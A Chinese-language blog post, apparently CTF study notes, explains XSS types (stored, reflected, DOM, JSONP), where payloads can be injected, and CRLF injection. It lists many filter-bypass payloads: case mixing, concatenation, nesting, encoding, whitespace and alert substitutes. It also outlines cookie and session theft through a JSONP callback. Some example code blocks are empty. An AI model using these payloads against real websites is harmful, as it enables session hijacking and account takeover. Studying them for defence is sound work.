XSS
何为XSS
跨站脚本攻击(Cross-Site Scripting,XSS)是一种常见的Web安全漏洞,攻击者通过在受害者的浏览器中注入恶意脚本来执行恶意行为。这种攻击通常利用Web应用程序没有对用户输入的数据进行足够的过滤和验证。
XSS的攻击原理
XSS跨站脚本攻击的原理是利用Web应用程序对用户输入数据的不足过滤和验证,将恶意脚本注入到受害者的浏览器中,使其在浏览器中执行。
攻击者通常会将恶意脚本嵌入到Web页面中的某个位置,比如输入框、评论框、搜索框等等,然后诱使用户访问这个被注入了恶意脚本的页面。当用户访问页面时,恶意脚本就会在用户的浏览器中被执行,从而执行攻击者预先设定好的恶意行为,比如窃取用户的Cookie信息、伪造用户的网站行为等等。
XSS的分类
存储型XSS:
特点:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
一般是将恶意代码通过交互界面上传到后端,然后从而上传到数据库中,当管理员admin查询数据库的信息时,恶意脚本又从后端到了前端,这也就是存储型XSS的数据流通。
这种XSS攻击方式相比于反射型XSS更加容易进行攻击,它可以把恶意脚本存储在数据库,实现自动化攻击。
一般在做CTF题目中的具体思路就是利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本。
示例
1 |
|
如果我们在评论区尝试最基础的JavaScript代码,
1 | <script>alert(hack)</script> |
将会成功弹窗。
反射型XSS:
特点:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
一般就是题目给一个标签形成的输入框,然后我们在输入框里输入我们的恶意脚本,需要用户进行触发才能进行攻击,在前端输入恶意脚本,后端接受,然后再在前端显示,这也就是反射型XSS的数据流通。
这种XSS攻击方式是最简单的一种XSS攻击方式,它需要用户手动触发才能执行。
在CTF中,反射型XSS算是比较常见的一种XSS攻击方式了,题目会给一个输入框,然后绕过过滤,执行恶意脚本。
示例
1 |
|
在接受name传参的值时,html页面是没有任何保护措施的,用户如果在这里执行了JavaScript代码,也会直接输出,从而进行XSS攻击。
DOM型XSS:
特点:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
这种XSS攻击是不经过后端的,它也算是一种反射型XSS,但是它的数据流通过程比较简单,就是在前端url添加我们的恶意脚本,然后直接在页面输出了。
示例
1 |
|
在前端url添加我们的恶意脚本
1 | <script>alert(hack)</script> |
可以发现我们通过name传参的JavaScript代码已经嵌入到HTML页面中了,也就完成了DOM型XSS攻击。
JSONP XSS:
这个其实也是反射型XSS的一种攻击方式。
这是一种比较罕见的一种XSS的攻击方式,它利用JSONP协议实现,一般浏览器都会设置CSP同源策略限制,不允许直接调用其他域名的API,这就出现了JSONP协议,JSONP协议通过利用浏览器对 script 标签的允许跨域加载特性,允许从一个域名中获取到另一个域名的数据。所以说我们作为攻击者可以在JSONP请求中注入恶意代码实现XSS攻击。
示例
如果我们有一个API端口为”http://Evi1s7.com/api",它返回一个JSONP响应,其中包含一个名为`callback`的函数,该函数将数据作为参数传递。
1 | callback({ "name": "John", "age": 30 }); |
攻击者可以构造一个恶意URL,以便在受害者浏览器中执行恶意脚本:
1 | https://Evi1s7.com/api?callback=attackerFunction |
这会导致我们之前的API端口返回的JSON发生了修改,变成了:
1 | attacjerFunction({ "name": "John", "age": 30 }); |
攻击者可以在页面中定义attackerFunction
,然后注入恶意脚本:
1 | <script> |
利用上述恶意脚本,我们可以获得John的sessionID值,窃取Cookie从而实现无密码登录,实现XSS攻击。
XSS的攻击对象
其实通俗一点来说,就是我们的XSS最终插入到哪里
1.插入到HTML注释内容中
示例
1 | <!-- Evi1s7 --> |
我们可以利用闭合的方式从而插入HTML注释内容之中
2.插入到HTML标签的属性值中
示例
1 | <script>alert('Evi1s7')</script><img src="image.png" onerror="<script>alert('Evi1s7')</script>"> |
在这一段示例的代码中,可以看见我们将 script 恶意代码插入到了 img 标签的oneerror属性中,从而欺骗浏览器执行恶意代码。
当image图片无法显示时,会调用onerror属性,从而执行恶意脚本。
3.插入到HTML标签的属性名中
示例
1 | <input type="text" onclick="alert('Evi1s7')" name="<script>alert('XSS攻击成功!')</script>"> |
在这一段示例的代码,将恶意代码插入到了 input 标签中的name属性值中,我们可以利用闭合的方式将恶意代码插入到 input 标签中,实现XSS攻击。
4.插入到HTML标签名中
示例
1 | <<script>alert('XSS攻击成功')</script>img src="Evi1s7.png"> |
在这一段代码中,我们将恶意代码插入到img
标签中,由于标签名被拆分成两部分,浏览器会将第一个尖括号视为标签名的起始符号,而第二个尖括号则是script
标签的起始符号,导致浏览器误以为有两个标签被嵌套在一起,从而实现我们的XSS攻击。
5.最简单的插入到script,img,svg标签中
示例
1 | <script>alert(Evi1s7)</script> |
6.插入到CSS中
示例
1 | <div style="background-image:url('javascript:alert(`Evi1s7`)');"> |
我们在background-image样式属性中插入了一段JavaScript url,当用户打开这一个页面时,会执行弹窗,浏览器会执行我们插入的java伪协议代码,从而执行恶意代码。
7.插入到HTTP响应中
涉及CRLF漏洞
在 HTTP 协议中,CRLF 被用来分隔 HTTP 请求和响应中的各个部分。
CRLF 是回车符(carriage return,CR)和换行符(line feed,LF)的缩写,它们通常被一起使用来表示一行的结束。CRLF 漏洞(也称为 HTTP 报头注入漏洞)是一种 Web 应用程序安全漏洞,攻击者可以利用这个漏洞向 HTTP 响应中注入任意的 HTTP 头或者响应体,一般攻击者可以通过在输入中注入 CRLF 字符来改变 HTTP 响应的内容,从而实现恶意操作。
比如有一个搜索关键词的网站利用GET的形式传参
1 | exp:?key=aaa |
如果改网站存在CRLF漏洞,那么我们就可以利用回车符/换行符将进行绕过过滤
1 | ?key=%0d%0a%0d%0a<img src=1 onerror=alert(1)> |
我们利用CRLF漏洞将http包分为了header和body,利用回车符/换行符成功执行了body中的代码,实现XSS
如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection:0,可绕过浏览器的过滤规则实现XSS弹窗显示。
XSS的绕过
关键词绕过
1.大小写绕过
示例
1 |
|
上面的代码运用了php中的一个strtolower()函数,将字符串转为小写,但是我们可以利用大小写绕过。
1 | xxxxx?q=<sCriPt> |
2.拼接绕过
示例
0x01. eval
1 | <img src="x" onerror="eval('al'+'ert(Evi1s7)')"> |
0x02. top
1 | <img src="x" onerror="top['al'+'ert'](Evi1s7)"> |
0x03. window
1 | <img src="x" onerror="window['al'+'ert'](1)"> |
0x04. self
1 | <img src="x" onerror="self[`al`+`ert`](1)"> |
0x05. parent
1 | <img src="x" onerror="parent[`al`+`ert`](1)"> |
0x06. frames
1 | <img src="x" onerror="frames[`al`+`ert`](1)"> |
3.函数替换
示例
1 | <img src="x" onerror="eval(alert(1))"> |
以上只是利用img
标签进行举例,也可以在别的标签中使用
比如 script
1 | <script>Array.constructor('alert(1)')()</script> |
比如iframe
1 | <iframe src="nonexistent.html" onerror="[1].findIndex(alert(1))"></iframe> |
4.嵌套绕过
牵扯到上面提到的XSS的攻击对象了
这个就是利用原理进行绕过的
1 | <sc<script>ript>alert('Evi1s7')</sc</script>ript> |
5.赋值绕过
示例
1 | <img src onerror=_=alert,_(1)> |
编码绕过
1.html实体编码转义
当我们的可控点为单个标签属性时,可以使用 html 实体编码。
1 | <iframe src="可控点">test<iframe> |
例如
1 | <iframe src="<a href=javascript:alert(1)>aaa</a>">test<iframe> |
2.url编码绕过
需要注入点存在href属性或者src属性,才可以利用url编码转义
(注意在url解析过程中,不能对协议类型进行任何的编码操作)
1 | <a href=javascript:alert(1)>Evi1s7</a> |
1 | <iframe src=javascript:%61%6c%65%72%74%28%31%29>Evi1s7</iframe> |
3.空格绕过
在html的标签中的不同位置的空格绕过方式不是一样的
1 | <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html> |
A位置: /,/123/,%09,%0A,%0C,%0D,%20
B位置:%09,%0A,%0C,%0D,%20
C位置:%0B,/**/ (如果加了双引号,则可以填充 %09,%0A,%0C,%0D,%20)
D位置:%09,%0A,%0C,%0D,%20,//,>
4.()绕过
1.利用反引号
1 | <script>alert`1`</script> |
2.throw绕过
1 | <script>alert;throw 1</script> |
5.单引号过滤
1.可以利用斜杠替换
1 | <script>alert(/Evi1s7/)</script> |
2.利用反引号替换
1 | <script>alert(`Evi1s7`)</script> |
6.alert过滤绕过
1.利用其他JavaScript的函数替换
prompt()
1 | <script>prompt('Evi1s7')</script> |
confirm()
1 | <script>confirm('Evi1s7')</script> |
console.log()
1 | <script>console.log('Evi1s7')</script> |
document.write()
1 | <script>document.write('Evi1s7')</script> |
2.利用编码绕过
1 | <img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```"> |
7.长度限制
可以利用拆分法
1 | <script>a='document.write("'</script> |
利用eval()函数将字符串解析为可执行的代码,从而进行拼接
1 | document.write("<a href=http://VPS-IP:port>Evi1s7</a>") |
8.分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
1 | <script>{onerror=alert}throw 1</script> |
- 本文作者: 林姜
- 本文链接: http://example.com/2024/10/20/XSS/